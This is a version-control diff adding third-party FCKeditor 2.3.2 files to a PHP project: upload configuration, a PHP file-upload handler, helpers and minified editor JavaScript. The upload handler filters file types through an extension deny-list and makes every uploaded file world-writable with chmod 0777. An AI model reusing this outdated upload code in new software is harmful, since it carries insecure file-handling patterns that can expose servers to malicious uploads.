+// Fill the following value it you prefer to specify the absolute path for the
+// user files directory. Usefull if you are using a virtual directory, symbolic
+// link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
+// Attention: The above 'UserFilesPath' must point to the same directory.
+$Config['UserFilesAbsolutePath'] = '' ;
+
+// Due to security issues with Apache modules, it is reccomended to leave the
+// following setting enabled.
+$Config['ForceSingleExtension'] = true ;
+
+$Config['AllowedExtensions']['File']	= array() ;
+$Config['DeniedExtensions']['File']		= array('php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi') ;
+
+$Config['AllowedExtensions']['Image']	= array('jpg','gif','jpeg','png') ;
+$Config['DeniedExtensions']['Image']	= array() ;
+
+$Config['AllowedExtensions']['Flash']	= array('swf','fla') ;
+$Config['DeniedExtensions']['Flash']	= array() ;
+
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/upload.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/upload.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/upload.php	(revision 44)
@@ -0,0 +1,120 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: upload.php
+ * 	This is the "File Uploader" for PHP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+require('config.php') ;
+require('util.php') ;
+
+// This is the function that sends the results of the uploading process.
+function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
+{
+	echo '<script type="text/javascript">' ;
+	echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
+	echo '</script>' ;
+	exit ;
+}
+
+// Check if this uploader has been enabled.
+if ( !$Config['Enabled'] )
+	SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;
+
+// Check if the file has been correctly uploaded.
+if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
+	SendResults( '202' ) ;
+
+// Get the posted file.
+$oFile = $_FILES['NewFile'] ;
+
+// Get the uploaded file name extension.
+$sFileName = $oFile['name'] ;
+
+// Replace dots in the name with underscores (only one dot can be there... security issue).
+if ( $Config['ForceSingleExtension'] )
+	$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
+
+$sOriginalFileName = $sFileName ;
+
+// Get the extension.
+$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
+$sExtension = strtolower( $sExtension ) ;
+
+// The the file type (from the QueryString, by default 'File').
+$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
+
+// Check if it is an allowed type.
+if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
+    SendResults( 1, '', '', 'Invalid type specified' ) ;
+
+// Get the allowed and denied extensions arrays.
+$arAllowed	= $Config['AllowedExtensions'][$sType] ;
+$arDenied	= $Config['DeniedExtensions'][$sType] ;
+
+// Check if it is an allowed extension.
+if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
+	SendResults( '202' ) ;
+
+$sErrorNumber	= '0' ;
+$sFileUrl		= '' ;
+
+// Initializes the counter used to rename the file, if another one with the same name already exists.
+$iCounter = 0 ;
+
+// Get the target directory.
+if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
+	$sServerDir = $Config['UserFilesAbsolutePath'] ;
+else 
+	$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
+
+if ( $Config['UseFileType'] )
+	$sServerDir .= $sType . '/' ;
+
+while ( true )
+{
+	// Compose the file path.
+	$sFilePath = $sServerDir . $sFileName ;
+
+	// If a file with that name already exists.
+	if ( is_file( $sFilePath ) )
+	{
+		$iCounter++ ;
+		$sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
+		$sErrorNumber = '201' ;
+	}
+	else
+	{
+		move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
+
+		if ( is_file( $sFilePath ) )
+		{
+			$oldumask = umask(0) ;
+			chmod( $sFilePath, 0777 ) ;
+			umask( $oldumask ) ;
+		}
+		
+		if ( $Config['UseFileType'] )
+			$sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;
+		else
+			$sFileUrl = $Config["UserFilesPath"] . $sFileName ;
+
+		break ;
+	}
+}
+
+SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/util.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/util.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/util.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: util.php
+ * 	This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function RemoveExtension( $fileName )
+{
+	return substr( $fileName, 0, strrpos( $fileName, '.' ) ) ;
+}
+
+function GetRootPath()
+{
+	$sRealPath = realpath( './' ) ;
+
+	$sSelfPath = $_SERVER['PHP_SELF'] ;
+	$sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;
+
+	return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
+}
+
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/js/fckeditorcode_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/js/fckeditorcode_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/js/fckeditorcode_gecko.js	(revision 44)
@@ -0,0 +1,80 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * This file has been compacted for best loading performance.
+ */
+var FCK_STATUS_NOTLOADED=window.parent.FCK_STATUS_NOTLOADED=0;var FCK_STATUS_ACTIVE=window.parent.FCK_STATUS_ACTIVE=1;var FCK_STATUS_COMPLETE=window.parent.FCK_STATUS_COMPLETE=2;var FCK_TRISTATE_OFF=window.parent.FCK_TRISTATE_OFF=0;var FCK_TRISTATE_ON=window.parent.FCK_TRISTATE_ON=1;var FCK_TRISTATE_DISABLED=window.parent.FCK_TRISTATE_DISABLED=-1;var FCK_UNKNOWN=window.parent.FCK_UNKNOWN=-9;var FCK_TOOLBARITEM_ONLYICON=window.parent.FCK_TOOLBARITEM_ONLYICON=0;var FCK_TOOLBARITEM_ONLYTEXT=window.parent.FCK_TOOLBARITEM_ONLYTEXT=1;var FCK_TOOLBARITEM_ICONTEXT=window.parent.FCK_TOOLBARITEM_ICONTEXT=2;var FCK_EDITMODE_WYSIWYG=window.parent.FCK_EDITMODE_WYSIWYG=0;var FCK_EDITMODE_SOURCE=window.parent.FCK_EDITMODE_SOURCE=1;var FCK_IMAGES_PATH='images/';var FCK_SPACER_PATH='images/spacer.gif';
+String.prototype.Contains=function(A){return (this.indexOf(A)>-1);};String.prototype.Equals=function(){for (var i=0;i<arguments.length;i++) if (this==arguments[i]) return true;return false;};String.prototype.ReplaceAll=function(A,B){var C=this;for (var i=0;i<A.length;i++){C=C.replace(A[i],B[i]);};return C;};Array.prototype.AddItem=function(A){var i=this.length;this[i]=A;return i;};Array.prototype.indexOf=function(A){for (var i=0;i<this.length;i++){if (this[i]==A) return i;};return-1;};String.prototype.startsWith=function(A){return (this.substr(0,A.length)==A);};String.prototype.endsWith=function(A,B){var C=this.length;var D=A.length;if (D>C) return false;if (B){var E=new RegExp(A+'$','i');return E.test(this);}else return (D==0||this.substr(C-D,D)==A);};String.prototype.remove=function(A,B){var s='';if (A>0) s=this.substring(0,A);if (A+B<this.length) s+=this.substring(A+B,this.length);return s;};String.prototype.trim=function(){return this.replace(/(^\s*)|(\s*$)/g,'');};String.prototype.ltrim=function(){return this.replace(/^\s*/g,'');};String.prototype.rtrim=function(){return this.replace(/\s*$/g,'');};String.prototype.replaceNewLineChars=function(A){return this.replace(/\n/g,A);}
+var s=navigator.userAgent.toLowerCase();var FCKBrowserInfo={IsIE:s.Contains('msie'),IsIE7:s.Contains('msie 7'),IsGecko:s.Contains('gecko/'),IsSafari:s.Contains('safari'),IsOpera:s.Contains('opera')};FCKBrowserInfo.IsGeckoLike=FCKBrowserInfo.IsGecko||FCKBrowserInfo.IsSafari||FCKBrowserInfo.IsOpera;if (FCKBrowserInfo.IsGecko){var sGeckoVersion=s.match(/gecko\/(\d+)/)[1];FCKBrowserInfo.IsGecko10=sGeckoVersion<20051111;}
+var FCKURLParams=new Object();var aParams=document.location.search.substr(1).split('&');for (var i=0;i<aParams.length;i++){var aParam=aParams[i].split('=');var sParamName=aParam[0];var sParamValue=aParam[1];FCKURLParams[sParamName]=sParamValue;}
+var FCK=new Object();FCK.Name=FCKURLParams['InstanceName'];FCK.Status=FCK_STATUS_NOTLOADED;FCK.EditMode=FCK_EDITMODE_WYSIWYG;FCK.LoadLinkedFile=function(){var A=window.parent.document;var B=A.getElementById(FCK.Name);var C=A.getElementsByName(FCK.Name);var i=0;while (B||i==0){if (B&&(B.tagName.toLowerCase()=='input'||B.tagName.toLowerCase()=='textarea')){FCK.LinkedField=B;break;};B=C[i++];}};FCK.LoadLinkedFile();var FCKTempBin=new Object();FCKTempBin.Elements=new Array();FCKTempBin.AddElement=function(A){var B=this.Elements.length;this.Elements[B]=A;return B;};FCKTempBin.RemoveElement=function(A){var e=this.Elements[A];this.Elements[A]=null;return e;};FCKTempBin.Reset=function(){var i=0;while (i<this.Elements.length) this.Elements[i++]==null;this.Elements.length=0;}
+var FCKConfig=FCK.Config=new Object();if (document.location.protocol=='file:'){FCKConfig.BasePath=unescape(document.location.pathname.substr(1));FCKConfig.BasePath=FCKConfig.BasePath.replace(/\\/gi, '/');FCKConfig.BasePath='file://'+FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1);FCKConfig.FullBasePath=FCKConfig.BasePath;}else{FCKConfig.BasePath=document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1);FCKConfig.FullBasePath=document.location.protocol+'//'+document.location.host+FCKConfig.BasePath;};FCKConfig.EditorPath=FCKConfig.BasePath.replace(/editor\/$/,'');try{FCKConfig.ScreenWidth=screen.width;FCKConfig.ScreenHeight=screen.height;}catch (e){FCKConfig.ScreenWidth=800;FCKConfig.ScreenHeight=600;};FCKConfig.ProcessHiddenField=function(){this.PageConfig=new Object();var A=window.parent.document.getElementById(FCK.Name+'___Config');if (!A) return;var B=A.value.split('&');for (var i=0;i<B.length;i++){if (B[i].length==0) continue;var C=B[i].split('=');var D=unescape(C[0]);var E=unescape(C[1]);if (D=='CustomConfigurationsPath') FCKConfig[D]=E;else if (E.toLowerCase()=="true") this.PageConfig[D]=true;else if (E.toLowerCase()=="false") this.PageConfig[D]=false;else if (E.length>0&&!isNaN(E)) this.PageConfig[D]=parseInt(E);else this.PageConfig[D]=E;}};function FCKConfig_LoadPageConfig(){var oPageConfig=FCKConfig.PageConfig;for (var sKey in oPageConfig) FCKConfig[sKey]=oPageConfig[sKey];};function FCKConfig_PreProcess(){var oConfig=FCKConfig;if (oConfig.AllowQueryStringDebug){try{if ((/fckdebug=true/i).test(window.top.location.search)) oConfig.Debug=true;}catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }};if (!oConfig.PluginsPath.endsWith('/')) oConfig.PluginsPath+='/';if (typeof(oConfig.EditorAreaCSS)=='string') oConfig.EditorAreaCSS=[oConfig.EditorAreaCSS];var sComboPreviewCSS=oConfig.ToolbarComboPreviewCSS;if (!sComboPreviewCSS||sComboPreviewCSS.length==0) oConfig.ToolbarComboPreviewCSS=oConfig.EditorAreaCSS;else if (typeof(sComboPreviewCSS)=='string') oConfig.ToolbarComboPreviewCSS=[sComboPreviewCSS];};FCKConfig.ToolbarSets=new Object();FCKConfig.Plugins=new Object();FCKConfig.Plugins.Items=new Array();FCKConfig.Plugins.Add=function(A,B,C){FCKConfig.Plugins.Items.AddItem([A,B,C]);};FCKConfig.ProtectedSource=new Object();FCKConfig.ProtectedSource.RegexEntries=[/<!--[\s\S]*?-->/g,/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi];FCKConfig.ProtectedSource.Add=function(A){this.RegexEntries.AddItem(A);};FCKConfig.ProtectedSource.Protect=function(A){function _Replace(protectedSource){var B=FCKTempBin.AddElement(protectedSource);return '<!--{PS..'+B+'}-->';};for (var i=0;i<this.RegexEntries.length;i++){A=A.replace(this.RegexEntries[i],_Replace);};return A;};FCKConfig.ProtectedSource.Revert=function(A,B){function _Replace(m,opener,index){var C=B?FCKTempBin.RemoveElement(index):FCKTempBin.Elements[index];return FCKConfig.ProtectedSource.Revert(C,B);};return A.replace(/(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g,_Replace);}
+var FCKDebug=new Object();FCKDebug.Output=function(A,B,C){if (!FCKConfig.Debug) return;if (!C&&A!=null&&isNaN(A)) A=A.replace(/</g,"&lt;");if (!this.DebugWindow||this.DebugWindow.closed) this.DebugWindow=window.open(FCKConfig.BasePath+'fckdebug.html','FCKeditorDebug','menubar=no,scrollbars=no,resizable=yes,location=no,toolbar=no,width=600,height=500',true);if (this.DebugWindow&&this.DebugWindow.Output){try{this.DebugWindow.Output(A,B);}catch (e) {}}};FCKDebug.OutputObject=function(A,B){if (!FCKConfig.Debug) return;var C;if (A!=null){C='Properties of: '+A+'</b><blockquote>';for (var D in A){try{var E=A[D]?A[D]+'':'[null]';C+='<b>'+D+'</b> : '+E.replace(/</g,'&lt;')+'<br>';}catch (e){try{C+='<b>'+D+'</b> : ['+typeof(A[D])+']<br>';}catch (e){C+='<b>'+D+'</b> : [-error-]<br>';}}};C+='</blockquote><b>';} else C='OutputObject : Object is "null".';FCKDebug.Output(C,B,true);}
+var FCKTools=new Object();FCKTools.AppendStyleSheet=function(A,B){if (typeof(B)=='string') return this._AppendStyleSheet(A,B);else{for (var i=0;i<B.length;i++) this._AppendStyleSheet(A,B[i]);}};FCKTools.GetLinkedFieldValue=function(){return FCK.LinkedField.value;};FCKTools.AttachToLinkedFieldFormSubmit=function(A){var B=FCK.LinkedField.form;if (!B) return;if (FCKBrowserInfo.IsIE) B.attachEvent("onsubmit",A);else B.addEventListener('submit',A,false);if (!B.updateFCKeditor) B.updateFCKeditor=new Array();B.updateFCKeditor[B.updateFCKeditor.length]=A;if (!B.originalSubmit&&(typeof(B.submit)=='function'||(!B.submit.tagName&&!B.submit.length))){B.originalSubmit=B.submit;B.submit=FCKTools_SubmitReplacer;}};function FCKTools_SubmitReplacer(){if (this.updateFCKeditor){for (var i=0;i<this.updateFCKeditor.length;i++) this.updateFCKeditor[i]();};this.originalSubmit();};FCKTools.GetElementWindow=function(A){return this.GetDocumentWindow(this.GetElementDocument(A));};FCKTools.GetDocumentWindow=function(A){if (FCKBrowserInfo.IsSafari&&!A.parentWindow) this.FixDocumentParentWindow(window.top);return A.parentWindow||A.defaultView;};FCKTools.FixDocumentParentWindow=function(A){A.document.parentWindow=A;for (var i=0;i<A.frames.length;i++) FCKTools.FixDocumentParentWindow(A.frames[i]);};FCKTools.GetParentWindow=function(A){return A.contentWindow?A.contentWindow:A.parentWindow;};FCKTools.HTMLEncode=function(A){if (!A) return '';A=A.replace(/&/g,'&amp;');A=A.replace(/</g,'&lt;');A=A.replace(/>/g,'&gt;');return A;};FCKTools.AddSelectOption=function(A,B,C){var D=FCKTools.GetElementDocument(A).createElement("OPTION");D.text=B;D.value=C;A.options.add(D);return D;};FCKTools.RunFunction=function(A,B,C,D){if (A) this.SetTimeout(A,0,B,C,D);};FCKTools.SetTimeout=function(A,B,C,D,E){return (E||window).setTimeout(function(){if (D) A.apply(C,[].concat(D));else A.apply(C);},B);};FCKTools.SetInterval=function(A,B,C,D,E){return (E||window).setInterval(function(){A.apply(C,D||[]);},B);};FCKTools.ConvertStyleSizeToHtml=function(A){return A.endsWith('%')?A:parseInt(A);};FCKTools.ConvertHtmlSizeToStyle=function(A){return A.endsWith('%')?A:(A+'px');};FCKTools.GetElementAscensor=function(A,B){var e=A;var C=","+B.toUpperCase()+",";while (e){if (C.indexOf(","+e.nodeName.toUpperCase()+",")!=-1) return e;e=e.parentNode;};return null;};FCKTools.CreateEventListener=function(A,B){var f=function(){var C=[];for (var i=0;i<arguments.length;i++) C.push(arguments[i]);A.apply(this,C.concat(B));};return f;};FCKTools.GetElementDocument=function (A){return A.ownerDocument||A.document;}
+var GECKO_BOGUS=FCKBrowserInfo.IsGecko?'<br _moz_editor_bogus_node="TRUE">':'';FCKTools.CancelEvent=function(e){if (e) e.preventDefault();};FCKTools.DisableSelection=function(A){if (FCKBrowserInfo.IsGecko) A.style.MozUserSelect='none';else A.style.userSelect='none';};FCKTools._AppendStyleSheet=function(A,B){var e=A.createElement('LINK');e.rel='stylesheet';e.type='text/css';e.href=B;A.getElementsByTagName("HEAD")[0].appendChild(e);return e;};FCKTools.ClearElementAttributes=function(A){for (var i=0;i<A.attributes.length;i++){A.removeAttribute(A.attributes[i].name,0);}};FCKTools.GetAllChildrenIds=function(A){var B=new Array();var C=function(parent){for (var i=0;i<parent.childNodes.length;i++){var D=parent.childNodes[i].id;if (D&&D.length>0) B[B.length]=D;C(parent.childNodes[i]);}};C(A);return B;};FCKTools.RemoveOuterTags=function(e){var A=e.ownerDocument.createDocumentFragment();for (var i=0;i<e.childNodes.length;i++) A.appendChild(e.childNodes[i]);e.parentNode.replaceChild(A,e);};FCKTools.CreateXmlObject=function(A){switch (A){case 'XmlHttp':return new XMLHttpRequest();case 'DOMDocument':return document.implementation.createDocument('','',null);};return null;};FCKTools.GetScrollPosition=function(A){return { X:A.pageXOffset,Y:A.pageYOffset };};FCKTools.AddEventListener=function(A,B,C){A.addEventListener(B,C,false);};FCKTools.RemoveEventListener=function(A,B,C){A.removeEventListener(B,C,false);};FCKTools.AddEventListenerEx=function(A,B,C,D){A.addEventListener(B,function(e){C.apply(A,[e].concat(D||[]));},false);};FCKTools.GetViewPaneSize=function(A){return { Width:A.innerWidth,Height:A.innerHeight };};FCKTools.SaveStyles=function(A){var B=new Object();if (A.className.length>0){B.Class=A.className;A.className='';};var C=A.getAttribute('style');if (C&&C.length>0){B.Inline=C;A.setAttribute('style','',0);};return B;};FCKTools.RestoreStyles=function(A,B){A.className=B.Class||'';if (B.Inline) A.setAttribute('style',B.Inline,0);else A.removeAttribute('style',0);};FCKTools.RegisterDollarFunction=function(A){A.$=function(id){return this.document.getElementById(id);};};FCKTools.AppendElement=function(A,B){return A.appendChild(A.ownerDocument.createElement(B));};FCKTools.GetElementPosition=function(A,B){var c={ X:0,Y:0 };var C=B||window;var D=FCKTools.GetElementWindow(A);while (A){var E=D.getComputedStyle(A,'').position;if (E&&E!='static'&&A.style.zIndex!=FCKConfig.FloatingPanelsZIndex) break;c.X+=A.offsetLeft-A.scrollLeft;c.Y+=A.offsetTop-A.scrollTop;if (A.offsetParent) A=A.offsetParent;else{if (D!=C){if (A=D.frameElement) D=FCKTools.GetElementWindow(A);}else{c.X+=A.scrollLeft;c.Y+=A.scrollTop;break;}}};return c;}
+var FCKeditorAPI;function InitializeAPI(){if (!(FCKeditorAPI=window.parent.FCKeditorAPI)){var sScript='\ var FCKeditorAPI={\ Version:\'2.3.2\',\ VersionBuild:\'1082\',\ __Instances:new Object(),\ GetInstance:function(instanceName)\{\ return this.__Instances[instanceName];\},\ _FunctionQueue:{\ Functions:new Array(),\ IsRunning:false,\ Add:function(functionToAdd)\{\ this.Functions.push(functionToAdd);\ if (!this.IsRunning)\ this.StartNext();\},\ StartNext:function()\{\ var aQueue=this.Functions;\ if (aQueue.length>0)\{\ this.IsRunning=true;\ aQueue[0].call();\}\ else\ this.IsRunning=false;\},\ Remove:function(func)\{\ var aQueue=this.Functions;\ var i=0,fFunc;\ while(fFunc=aQueue[i])\{\ if (fFunc==func)\ aQueue.splice(i,1);\ i++;\}\ this.StartNext();\}\}\}';if (window.parent.execScript) window.parent.execScript(sScript,'JavaScript');else{if (FCKBrowserInfo.IsGecko10){eval.call(window.parent,sScript);}else window.parent.eval(sScript);};FCKeditorAPI=window.parent.FCKeditorAPI;};FCKeditorAPI.__Instances[FCK.Name]=FCK;};function FCKeditorAPI_Cleanup(){FCKeditorAPI.__Instances[FCK.Name]=null;};FCKTools.AddEventListener(window,'unload',FCKeditorAPI_Cleanup);
+var FCKRegexLib={AposEntity:/&apos;/gi,ObjectElements:/^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i,BlockElements:/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TD|TH)$/i,EmptyElements:/^(?:BASE|META|LINK|HR|BR|PARAM|IMG|AREA|INPUT)$/i,NamedCommands:/^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i,BodyContents:/([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i,ToReplace:/___fcktoreplace:([\w]+)/ig,MetaHttpEquiv:/http-equiv\s*=\s*["']?([^"' ]+)/i,HasBaseTag:/<base /i,HtmlOpener:/<html\s?[^>]*>/i,HeadOpener:/<head\s?[^>]*>/i,HeadCloser:/<\/head\s*>/i,TableBorderClass:/\s*FCK__ShowTableBorders\s*/,ElementName:/(^[A-Za-z_:][\w.\-:]*\w$)|(^[A-Za-z_]$)/,ForceSimpleAmpersand:/___FCKAmp___/g,SpaceNoClose:/\/>/g,EmptyParagraph:/^<(p|div)>\s*<\/\1>$/i,TagBody:/></,StrongOpener:/<STRONG([ \>])/gi,StrongCloser:/<\/STRONG>/gi,EmOpener:/<EM([ \>])/gi,EmCloser:/<\/EM>/gi,AbbrOpener:/<ABBR([ \>])/gi,AbbrCloser:/<\/ABBR>/gi,GeckoEntitiesMarker:/#\?-\:/g,ProtectUrlsImg:/(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi,ProtectUrlsA:/(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi,Html4DocType:/HTML 4\.0 Transitional/i,DocTypeTag:/<!DOCTYPE[^>]*>/i,TagsWithEvent:/<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g,EventAttributes:/\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,ProtectedEvents:/\s\w+_fckprotectedatt="([^"]+)"/g}
+var FCKLanguageManager=FCK.Language=new Object();FCKLanguageManager.AvailableLanguages={'ar':'Arabic','bg':'Bulgarian','bn':'Bengali/Bangla','bs':'Bosnian','ca':'Catalan','cs':'Czech','da':'Danish','de':'German','el':'Greek','en':'English','en-au':'English (Australia)','en-ca':'English (Canadian)','en-uk':'English (United Kingdom)','eo':'Esperanto','es':'Spanish','et':'Estonian','eu':'Basque','fa':'Persian','fi':'Finnish','fo':'Faroese','fr':'French','gl':'Galician','he':'Hebrew','hi':'Hindi','hr':'Croatian','hu':'Hungarian','it':'Italian','ja':'Japanese','km':'Khmer','ko':'Korean','lt':'Lithuanian','lv':'Latvian','mn':'Mongolian','ms':'Malay','nb':'Norwegian Bokmal','nl':'Dutch','no':'Norwegian','pl':'Polish','pt':'Portuguese (Portugal)','pt-br':'Portuguese (Brazil)','ro':'Romanian','ru':'Russian','sk':'Slovak','sl':'Slovenian','sr':'Serbian (Cyrillic)','sr-latn':'Serbian (Latin)','sv':'Swedish','th':'Thai','tr':'Turkish','uk':'Ukrainian','vi':'Vietnamese','zh':'Chinese Traditional','zh-cn':'Chinese Simplified'};FCKLanguageManager.GetActiveLanguage=function(){if (FCKConfig.AutoDetectLanguage){var A;if (navigator.userLanguage) A=navigator.userLanguage.toLowerCase();else if (navigator.language) A=navigator.language.toLowerCase();else{return FCKConfig.DefaultLanguage;};if (A.length>=5){A=A.substr(0,5);if (this.AvailableLanguages[A]) return A;};if (A.length>=2){A=A.substr(0,2);if (this.AvailableLanguages[A]) return A;}};return this.DefaultLanguage;};FCKLanguageManager.TranslateElements=function(A,B,C,D){var e=A.getElementsByTagName(B);var E,s;for (var i=0;i<e.length;i++){if (E=e[i].getAttribute('fckLang')){if (s=FCKLang[E]){if (D) s=FCKTools.HTMLEncode(s);eval('e[i].'+C+' = s');}}}};FCKLanguageManager.TranslatePage=function(A){this.TranslateElements(A,'INPUT','value');this.TranslateElements(A,'SPAN','innerHTML');this.TranslateElements(A,'LABEL','innerHTML');this.TranslateElements(A,'OPTION','innerHTML',true);};FCKLanguageManager.Initialize=function(){if (this.AvailableLanguages[FCKConfig.DefaultLanguage]) this.DefaultLanguage=FCKConfig.DefaultLanguage;else this.DefaultLanguage='en';this.ActiveLanguage=new Object();this.ActiveLanguage.Code=this.GetActiveLanguage();this.ActiveLanguage.Name=this.AvailableLanguages[this.ActiveLanguage.Code];}
+var FCKEvents;FCKEvents=function(A){this.Owner=A;this.RegisteredEvents=new Object();};FCKEvents.prototype.AttachEvent=function(A,B){var C;if (!(C=this.RegisteredEvents[A])) this.RegisteredEvents[A]=[B];else C.push(B);};FCKEvents.prototype.FireEvent=function(A,B){var C=true;var D=this.RegisteredEvents[A];if (D){for (var i=0;i<D.length;i++) C=(D[i](this.Owner,B)&&C);};return C;}
+var FCKXHtmlEntities=new Object();FCKXHtmlEntities.Initialize=function(){if (FCKXHtmlEntities.Entities) return;var A='';if (FCKConfig.ProcessHTMLEntities){FCKXHtmlEntities.Entities={' ':'nbsp','¡':'iexcl','¢':'cent','£':'pound','¤':'curren','¥':'yen','¦':'brvbar','§':'sect','¨':'uml','©':'copy','ª':'ordf','«':'laquo','¬':'not','­':'shy','®':'reg','¯':'macr','°':'deg','±':'plusmn','²':'sup2','³':'sup3','´':'acute','µ':'micro','¶':'para','·':'middot','¸':'cedil','¹':'sup1','º':'ordm','»':'raquo','¼':'frac14','½':'frac12','¾':'frac34','¿':'iquest','×':'times','÷':'divide','ƒ':'fnof','•':'bull','…':'hellip','′':'prime','″':'Prime','‾':'oline','⁄':'frasl','℘':'weierp','ℑ':'image','ℜ':'real','™':'trade','ℵ':'alefsym','←':'larr','↑':'uarr','→':'rarr','↓':'darr','↔':'harr','↵':'crarr','⇐':'lArr','⇑':'uArr','⇒':'rArr','⇓':'dArr','⇔':'hArr','∀':'forall','∂':'part','∃':'exist','∅':'empty','∇':'nabla','∈':'isin','∉':'notin','∋':'ni','∏':'prod','∑':'sum','−':'minus','∗':'lowast','√':'radic','∝':'prop','∞':'infin','∠':'ang','∧':'and','∨':'or','∩':'cap','∪':'cup','∫':'int','∴':'there4','∼':'sim','≅':'cong','≈':'asymp','≠':'ne','≡':'equiv','≤':'le','≥':'ge','⊂':'sub','⊃':'sup','⊄':'nsub','⊆':'sube','⊇':'supe','⊕':'oplus','⊗':'otimes','⊥':'perp','⋅':'sdot','◊':'loz','♠':'spades','♣':'clubs','♥':'hearts','♦':'diams','"':'quot','ˆ':'circ','˜':'tilde',' ':'ensp',' ':'emsp',' ':'thinsp','‌':'zwnj','‍':'zwj','‎':'lrm','‏':'rlm','–':'ndash','—':'mdash','‘':'lsquo','’':'rsquo','‚':'sbquo','“':'ldquo','”':'rdquo','„':'bdquo','†':'dagger','‡':'Dagger','‰':'permil','‹':'lsaquo','›':'rsaquo','€':'euro'};for (var e in FCKXHtmlEntities.Entities) A+=e;if (FCKConfig.IncludeLatinEntities){var 